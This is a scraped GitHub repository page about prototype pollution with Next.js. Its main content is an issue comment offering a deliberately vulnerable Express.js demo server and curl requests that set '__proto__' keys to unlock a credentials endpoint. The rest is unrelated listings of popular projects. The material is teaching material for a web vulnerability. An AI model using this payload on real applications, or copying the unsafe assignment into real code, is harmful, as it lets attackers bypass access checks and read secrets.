pwnfunction / next.js-flat-prototype-pollution Goto Github PK
View Code? Open in Web Editor NEWPrototype Pollution using `flat` with Next.js
Prototype Pollution using `flat` with Next.js
Hi! Just watched your video (great video by the way!), and I have a small suggestion: The exploit shown in the video is IMO a bit complicated, and using a 3rd party library with the bug in it. So I wrote a small Express.js web server for Node that's vulnerable to the same concept, but simpler. This is the code:
let app = require("express")() // Load & create an Express server
let userData = {} // User data storage object
let credentials = {email: "[email protected]", password: "abcd"}
app.get("/addUser", (req, res) => {
let {region, name, uuid} = req.query // Store query parameters into variables
if (userData[region] === undefined) { // If that region isn't initialized:
userData[region] = {} // Make it an empty object
}
userData[region][name] = uuid // Store the UUID under the name in the region
res.send("Success!\n") // And send a success message.
})
app.get("/debug/getCurrentCredentials", (req, res) => {
if (process.env.TESTING === "true") { // If the testing env variable is set:
res.send(JSON.stringify(credentials) + "\n") // Send the credentials
} else { // Or:
res.status(403).send("Not allowed!\n") // Send an error
}
})
app.listen(1337) // And run the server
It has essentially the same vulnerability, we can exploit it by sending this request:
❯ node server.js &
❯ curl "localhost:1337/debug/getCurrentCredentials"
Not allowed!
❯ curl "localhost:1337/addUser?region=__proto__&name=TESTING&uuid=true"
Success!
❯ curl "localhost:1337/debug/getCurrentCredentials"
{"email":"[email protected]","password":"abcd"}
It's super simple, the server executes userData["__proto__"]["TESTING"] = "true"
in line 9, so the server thinks the TESTING
env variable is set to "true"
. And we don't even have to involve a fancy JSON parser or anything, just the assignation is enough. Might be a nice little addition :)
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.